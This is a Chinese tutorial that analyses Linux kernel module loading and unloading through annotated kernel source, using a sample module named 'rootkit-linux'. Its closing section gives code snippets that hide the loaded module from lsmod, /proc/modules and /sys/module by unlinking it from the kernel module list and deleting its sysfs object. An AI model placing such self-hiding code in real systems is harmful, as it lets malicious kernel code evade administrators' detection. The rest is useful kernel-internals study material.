在Linux系统下创建一个名为rl_module.c的文件,填入如下内容:
#include <linux/init.h> #include <linux/module.h> #include <linux/fs.h> #include <linux/cdev.h> #include <linux/syscalls.h> #include <linux/kernel.h> #include <linux/sched.h> #include <linux/netdevice.h> #include <linux/list.h> MODULE_LICENSE("Dual BSD/GPL"); static int __init rl_init(void) { printk("RL Module init!\n"); return 0; } static void __exit rl_exit(void) { printk("RL Module exit!\n"); } module_init(rl_init); module_exit(rl_exit);
再创建一个Makefile文件,填入如下内容:
# # Makefile for linux/drivers/platform/x86 # x86 Platform-Specific Drivers # MODULE_NAME = rootkit-linux ifneq ($(KERNELRELEASE),) obj-m := $(MODULE_NAME).o $(MODULE_NAME)-objs := rl_module.o else KERNELDIR ?= /lib/modules/$(shell uname -r)/build #KERNELDIR ?= /usr/src/linux PWD := $(shell pwd) default: $(MAKE) -C $(KERNELDIR) M=$(PWD) modules endif clean: rm *.o *.ko *.symvers *.order .*.cmd *.markers $(MODULE_NAME).mod.c .tmp_versions -rf
执行make,会得到名为rootkit-linux.ko的文件。
执行insmod命令加载模块:
#insmod rootkit-linux.ko
用dmesg命令查看内核信息,会找到“RLModule init!”。使用sys文件系统或lsmod也会查到rootkit-linux模块的信息:
使用rmmod命令可以卸载模块:
代码示例中所描述的是实现在Linux下加载模块的通常方法。这时出现几个问题:使用insmod、modprobe命令加载模块时Linux内核都做了哪些工作?模块中用module_init和module_exit注册的函数是如何被调用的?要解答这些问题就需要了解Linux模块加载的流程。
Linux模块需要用module_init函数注册模块初始化函数,这个函数会在模块加载时由系统调用;用module_exit函数注册模块卸载函数,这个函数会在模块卸载时被调用。
在include/linux/init.h中,module_init和module_exit有两个定义,一个在MODULE宏没有定义时生效,一个MODULE宏被定义时生效。在模块中MODULE宏会被定义,来看看这种情况下的定义:
296 /* Each module must use one module_init(). */ 297 #define module_init(initfn) \ 298 static inline initcall_t __inittest(void) \ 299 { return initfn; } \ 300 int init_module(void) __attribute__((alias(#initfn))); 301 302 /* This is only required if you want to be unloadable. */ 303 #define module_exit(exitfn) \ 304 static inline exitcall_t __exittest(void) \ 305 { return exitfn; } \ 306 void cleanup_module(void) __attribute__((alias(#exitfn)));
可见module_init和module_exit宏是将它们的入参函数分别重命名为init_module和cleanup_module。
代码编译完毕后生成的rootkit-linux.ko文件的格式是ELF。由于__init的作用,rl_init函数的代码被放在.init.text中,__exit也会把rl_exit函数的代码在.exit.text段中。
模块编译时MODPOST还会自动为模块生成一个.mod.c文件,并将其编译进模块中。看看rootkit-linux.mod.c的内容:
#include <linux/module.h> #include <linux/vermagic.h> #include <linux/compiler.h> MODULE_INFO(vermagic, VERMAGIC_STRING); __visible struct module __this_module __attribute__((section(".gnu.linkonce.this_module"))) = { .name = KBUILD_MODNAME, .init = init_module, #ifdef CONFIG_MODULE_UNLOAD .exit = cleanup_module, #endif .arch = MODULE_ARCH_INIT, }; static const struct modversion_info ____versions[] __used __attribute__((section("__versions"))) = { { 0x53a8e63d, __VMLINUX_SYMBOL_STR(module_layout) }, { 0x703dfdb2, __VMLINUX_SYMBOL_STR(kobject_del) }, { 0x27e1a049, __VMLINUX_SYMBOL_STR(printk) }, }; static const char __module_depends[] __used __attribute__((section(".modinfo"))) = "depends="; MODULE_INFO(srcversion, "7442B95A1D1CA4E76F4EB51");
可见MODPOST会生成一个__this_module结构,其类型为structmodule,其init成员指向init_module,exit成员指向cleanup_module。__this_module结构的代码会被编译到ELF文件中名为“.gnu.linkonce.this_module”的段中。后续在分析模块加载和卸载函数时我们会看到这个段的作用。
Insmod、modprobe命令对应的内核函数是sys_init_module:
3334 SYSCALL_DEFINE3(init_module, void __user *, umod, 3335 unsigned long, len, const char __user *, uargs) 3336 { 3337 int err; 3338 struct load_info info = { }; 3339 //检查进程权能和内核设置是否允许加载模块 3340 err = may_init_module(); 3341 if (err) 3342 return err; 3343 3344 pr_debug("init_module: umod=%p, len=%lu, uargs=%p\n", 3345 umod, len, uargs); 3346 //将模块ELF文件copy到临时镜像info中 3347 err = copy_module_from_user(umod, len, &info); 3348 if (err) 3349 return err; 3350 //加载模块 3351 return load_module(&info, uargs, 0); 3352 }
加载模块的功能主要由load_module函数完成:
3200 static int load_module(struct load_info *info, const char __user *uargs, 3201 int flags) 3202 { 3203 struct module *mod; 3204 long err; 3205 //模块签名检查 3206 err = module_sig_check(info); 3207 if (err) 3208 goto free_copy; 3209 //ELF文件头格式检查 3210 err = elf_header_check(info); 3211 if (err) 3212 goto free_copy; 3213 //为ELF文件的各个section分配内存空间 3214 /* Figure out module layout, and allocate all the memory. */ 3215 mod = layout_and_allocate(info, flags); //mod中包含了模块信息 3216 if (IS_ERR(mod)) { 3217 err = PTR_ERR(mod); 3218 goto free_copy; 3219 } 3220 3221 /* Reserve our place in the list. */ 3222 err = add_unformed_module(mod); //检查是否有同名模块已加载,如果没有则将mod加入到链表中 3223 if (err) 3224 goto free_module; 3225 3226 #ifdef CONFIG_MODULE_SIG 3227 mod->sig_ok = info->sig_ok; 3228 if (!mod->sig_ok) { 3229 printk_once(KERN_NOTICE 3230 "%s: module verification failed: signature and/or" 3231 " required key missing - tainting kernel\n", 3232 mod->name); 3233 add_taint_module(mod, TAINT_FORCED_MODULE, LOCKDEP_STILL_OK); 3234 } 3235 #endif 3236 3237 /* To avoid stressing percpu allocator, do this once we're unique. */ 3238 err = alloc_module_percpu(mod, info); //申请每CPU类型的内存空间 3239 if (err) 3240 goto unlink_mod; 3241 3242 /* Now module is in final location, initialize linked lists, etc. */ 3243 err = module_unload_init(mod); //初始化卸载模块相关的成员变量 3244 if (err) 3245 goto unlink_mod; 3246 3247 /* Now we've got everything in the final locations, we can 3248 * find optional sections. */ 3249 find_module_sections(mod, info); //初始化其它类型的字段 3250 3251 err = check_module_license_and_versions(mod); //检查模块的许可证和版本信息 3252 if (err) 3253 goto free_unload; 3254 3255 /* Set up MODINFO_ATTR fields */ 3256 setup_modinfo(mod, info); 3257 3258 /* Fix up syms, so that st_value is a pointer to location. */ 3259 err = simplify_symbols(mod, info); 3260 if (err < 0) 3261 goto free_modinfo; 3262 //地址重定位 3263 err = apply_relocations(mod, info); 3264 if (err < 0) 3265 goto free_modinfo; 3266 3267 err = post_relocation(mod, info); 3268 if (err < 0) 3269 goto free_modinfo; 3270 //清除指令cache 3271 flush_module_icache(mod); 3272 3273 /* Now copy in args */ 3274 mod->args = strndup_user(uargs, ~0UL >> 1); 3275 if (IS_ERR(mod->args)) { 3276 err = PTR_ERR(mod->args); 3277 goto free_arch_cleanup; 3278 } 3279 3280 dynamic_debug_setup(info->debug, info->num_debug); 3281 3282 /* Finally it's fully formed, ready to start executing. */ 3283 err = complete_formation(mod, info); //进一步检查导出符号 3284 if (err) 3285 goto ddebug_cleanup; 3286 3287 /* Module is ready to execute: parsing args may do that. */ 3288 err = parse_args(mod->name, mod->args, mod->kp, mod->num_kp, 3289 -32768, 32767, &ddebug_dyndbg_module_param_cb); 3290 if (err < 0) 3291 goto bug_cleanup; 3292 3293 /* Link in to syfs. *///在sys系统中注册模块信息 3294 err = mod_sysfs_setup(mod, info, mod->kp, mod->num_kp); 3295 if (err < 0) 3296 goto bug_cleanup; 3297 3298 /* Get rid of temporary copy. */ 3299 free_copy(info); 3300 3301 /* Done! */ 3302 trace_module_load(mod); 3303 3304 return do_init_module(mod);
这里layout_and_allocate函数的功能十分重要,它返回了一个structmodule指针,这个指针包含了要加载的模块的信息,包括名称、初始化函数、卸载函数。layout_and_allocate是如何找到这些信息的呢?
2926 static struct module *layout_and_allocate(struct load_info *info, int flags) 2927 { 2928 /* Module within temporary copy. */ 2929 struct module *mod; 2930 int err; 2931 2932 mod = setup_load_info(info, flags); ... 2955 /* Allocate and move to the final place */ 2956 err = move_module(mod, info); 2957 if (err) 2958 return ERR_PTR(err); 2959 2960 /* Module has been copied to its final place now: return it. */ 2961 mod = (void *)info->sechdrs[info->index.mod].sh_addr; 2962 kmemleak_load_module(mod, info); 2963 return mod; 2964 }
layout_and_allocate函数将info->sechdrs[info->index.mod].sh_addr强制转换为mod并返回。那么info->sechdrs是什么?info->index.mod是什么?sh_addr代表什么?来看setup_load_info函数:
2642 static struct module *setup_load_info(struct load_info *info, int flags) 2643 { 2644 unsigned int i; 2645 int err; 2646 struct module *mod; 2647 2648 /* Set up the convenience variables */ 2649 info->sechdrs = (void *)info->hdr + info->hdr->e_shoff; 2650 info->secstrings = (void *)info->hdr 2651 + info->sechdrs[info->hdr->e_shstrndx].sh_offset; 2652 2653 err = rewrite_section_headers(info, flags); … 2668 info->index.mod = find_sec(info, ".gnu.linkonce.this_module"); 2669 if (!info->index.mod) { 2670 printk(KERN_WARNING "No module found in object\n"); 2671 return ERR_PTR(-ENOEXEC); 2672 } 2673 /* This is temporary: point mod into copy of data. */ 2674 mod = (void *)info->sechdrs[info->index.mod].sh_addr; … 2688 return mod; 2689 }
代码解析:
2649:info->hdr是ELF文件首地址,指向ELF文件头信息;nfo->hdr->e_shoff是ELF的段表(section)在文件中的偏移;info->sechdrs执行的是ELFsection table的首地址。Sectiontable是一个结构体数组,描述了ELF各个section的信息。
2653:rewrite_section_headers函数会重写各个section的sh_addr:
2596 static int rewrite_section_headers(struct load_info *info, int flags) 2597 { 2598 unsigned int i; 2599 2600 /* This should always be true, but let's be sure. */ 2601 info->sechdrs[0].sh_addr = 0; 2602 //遍历所有section 2603 for (i = 1; i < info->hdr->e_shnum; i++) { 2604 Elf_Shdr *shdr = &info->sechdrs[i]; //得到section头 ... 2612 /* Mark all sections sh_addr with their address in the 2613 temporary image. */ //将section内容的首地址赋给sh_addr 2614 shdr->sh_addr = (size_t)info->hdr + shdr->sh_offset; …
回到setup_load_info函数。
2668:找到名为".gnu.linkonce.this_module"的section在段表结构体数组中的下标。
2674:使mod指针指向".gnu.linkonce.this_module"的section的代码首地址;这个section的代码就是前面介绍的在编译内核时由MODPOST生成的__this_module
结构的代码,这样mod就指向了这个__this_module结构,从而得到了模块的名称、初始化函数和卸载函数等信息。
由setup_load_info函数返回的mod指针指向的是临时镜像,接下来还需要layout_and_allocate函数调用move_module函数将mod的信息转移到永久镜像中:
2796 static int move_module(struct module *mod, struct load_info *info) 2797 { 2798 int i; 2799 void *ptr; 2800 2801 /* Do the allocs. */ 2802 ptr = module_alloc_update_bounds(mod->core_size); 2803 /* 2804 * The pointer to this block is stored in the module structure 2805 * which is inside the block. Just mark it as not being a 2806 * leak. 2807 */ 2808 kmemleak_not_leak(ptr); 2809 if (!ptr) 2810 return -ENOMEM; 2811 2812 memset(ptr, 0, mod->core_size); 2813 mod->module_core = ptr; 2814 2815 if (mod->init_size) { 2816 ptr = module_alloc_update_bounds(mod->init_size); 2817 /* 2818 * The pointer to this block is stored in the module structure 2819 * which is inside the block. This block doesn't need to be 2820 * scanned as it contains data and code that will be freed 2821 * after the module is initialized. 2822 */ 2823 kmemleak_ignore(ptr); 2824 if (!ptr) { 2825 module_free(mod, mod->module_core); 2826 return -ENOMEM; 2827 } 2828 memset(ptr, 0, mod->init_size); 2829 mod->module_init = ptr; 2830 } else 2831 mod->module_init = NULL; 2832 2833 /* Transfer each section which specifies SHF_ALLOC */ 2834 pr_debug("final section addresses:\n"); 2835 for (i = 0; i < info->hdr->e_shnum; i++) { 2836 void *dest; 2837 Elf_Shdr *shdr = &info->sechdrs[i]; 2838 2839 if (!(shdr->sh_flags & SHF_ALLOC)) //忽略不能申请内存的段 2840 continue; 2841 2842 if (shdr->sh_entsize & INIT_OFFSET_MASK) //.init段这个判断为真 2843 dest = mod->module_init 2844 + (shdr->sh_entsize & ~INIT_OFFSET_MASK); 2845 else 2846 dest = mod->module_core + shdr->sh_entsize; 2847 2848 if (shdr->sh_type != SHT_NOBITS) //段在文件中有内容 2849 memcpy(dest, (void *)shdr->sh_addr, shdr->sh_size); //将临时镜像中的内容copy到永久镜像中 2850 /* Update sh_addr to point to copy in image. */ 2851 shdr->sh_addr = (unsigned long)dest; //更新段内容首地址 2852 pr_debug("\t0x%lx %s\n", 2853 (long)shdr->sh_addr, info->secstrings + shdr->sh_name); 2854 } 2855 2856 return 0; 2857 }
move_module函数会建立两端连续内存,将.init段的代码copy到mod->module_init指向的内存中,其它段的代码copy到mod->module_core指向的内存中。mod->module_init指向的内存在模块加载完成后就会释放。__this_module所对应的段也会被copy到永久镜像中,其内容首地址会被传递给mod。
最后do_init_module函数中会执行模块初始化代码:
3034 static int do_init_module(struct module *mod) 3035 { 3036 int ret = 0; … 3061 if (mod->init != NULL) 3062 ret = do_one_initcall(mod->init); … 3119 module_free(mod, mod->module_init); //释放mod->module_init执行的内存 3120 mod->module_init = NULL; 3121 mod->init_size = 0; 3122 mod->init_ro_size = 0; 3123 mod->init_text_size = 0; 3124 mutex_unlock(&module_mutex); 3125 wake_up_all(&module_wq); 3126 3127 return 0; 3128 }
下面总结一下Linux模块加载的主要过程:
(1)将模块的ELF文件copy到内核申请的临时镜像中;
(2)建立一个structmodule结构体指针,指向模块编译时生成的__this_module结构体,这个结构体初始化了模块初始化函数和卸载函数等成员;
(3)将临时镜像中的各个段copy到永久镜像中,永久镜像的地址保存在structmodule结构体中;
(4)将structmodule结构体加入到内核模块链表中;
(5)根据永久镜像的起始地址和各个段的偏移重定向代码段中的指针;
(6)向sys文件系统注册模块信息;
(7)释放临时镜像;
(8)执行模块通过module_init函数注册的初始化函数的代码。
模块卸载的命令rmmod对应内核的函数是sys_delete_module:
823 SYSCALL_DEFINE2(delete_module, const char __user *, name_user, 824 unsigned int, flags) 825 { 826 struct module *mod; 827 char name[MODULE_NAME_LEN]; 828 int ret, forced = 0; … 840 mod = find_module(name); 841 if (!mod) { 842 ret = -ENOENT; 843 goto out; 844 } 845 846 if (!list_empty(&mod->source_list)) { 847 /* Other modules depend on us: get rid of them first. */ 848 ret = -EWOULDBLOCK; 849 goto out; 850 } ... 883 mutex_unlock(&module_mutex); 884 /* Final destruction now no one is using it. */ 885 if (mod->exit != NULL) 886 mod->exit(); //调用模块用module_exit注册的卸载函数 887 blocking_notifier_call_chain(&module_notify_list, 888 MODULE_STATE_GOING, mod); 889 async_synchronize_full(); 890 891 /* Store the name of the last unloaded module for diagnostic purposes */ 892 strlcpy(last_unloaded_module, mod->name, sizeof(last_unloaded_module)); 893 894 free_module(mod); 895 return 0;
free_module函数:
1861 static void free_module(struct module *mod) 1862 { 1863 trace_module_free(mod); 1864 1865 mod_sysfs_teardown(mod); //注销在sys文件系统中的信息 1866 1867 /* We leave it in list to prevent duplicate loads, but make sure 1868 * that noone uses it while it's being deconstructed. */ 1869 mod->state = MODULE_STATE_UNFORMED; 1870 1871 /* Remove dynamic debug info */ 1872 ddebug_remove_module(mod->name); 1873 1874 /* Arch-specific cleanup. */ 1875 module_arch_cleanup(mod); 1876 1877 /* Module unload stuff */ 1878 module_unload_free(mod); 1879 1880 /* Free any allocated parameters. */ 1881 destroy_params(mod->kp, mod->num_kp); 1882 1883 /* Now we can delete it from the lists */ 1884 mutex_lock(&module_mutex); 1885 stop_machine(__unlink_module, mod, NULL); //将模块从链表中摘除 1886 mutex_unlock(&module_mutex); 1887 1888 /* This may be NULL, but that's OK */ 1889 unset_module_init_ro_nx(mod); 1890 module_free(mod, mod->module_init); 1891 kfree(mod->args); 1892 percpu_modfree(mod); 1893 1894 /* Free lock-classes: */ 1895 lockdep_free_key_range(mod->module_core, mod->core_size); 1896 1897 /* Finally, free the core (containing the module structure) */ 1898 unset_module_core_ro_nx(mod); 1899 module_free(mod, mod->module_core); //释放内存 1900 1901 #ifdef CONFIG_MPU 1902 update_protections(current->mm); 1903 #endif 1904 }
模块要想隐藏自身的信息,必须能够使用自己的structmodule数据结构。内核提供了THIS_MODULE宏来实现这一功能,看看这个宏的定义:
32 #ifdef MODULE 33 extern struct module __this_module; 34 #define THIS_MODULE (&__this_module)
可见THIS_MODULE就是模块的__this_module结构体的指针,这个指针的值与模块对应的structmodule数据结构的值是一样的。
lsmod命令行的实现原理是读取并整理/proc/modules的信息。而/proc/modules的信息来源是内核中保存模块信息的链表。只要将模块从这个链表中摘除就可以清除/proc/modules中对应的信息,lsmod也无法查询到模块。
参考模块卸载的代码,将下列片段加入模块中:
static int __init rl_init(void) { ... //对lsmod命令隐藏模块名称 mutex_lock(&module_mutex); list_del_init(&THIS_MODULE->list) mutex_unlock(&module_mutex); ...编译、加载模块、 查询 模块:
Sys文件系统比较复杂,这里不做过多探讨,但可以提供一种方法隐藏模块的sys信息(可能不完善):
static int __init rl_init(void) { ... //从/sys/module/目录下隐藏模块 #ifdef CONFIG_SYSFS kobject_del(&THIS_MODULE->mkobj.kobj); #endif <span style="font-size:14px;">...</span>编译后加载模块,查询sys/module目录,会发现rootkit_linux目录并不存在。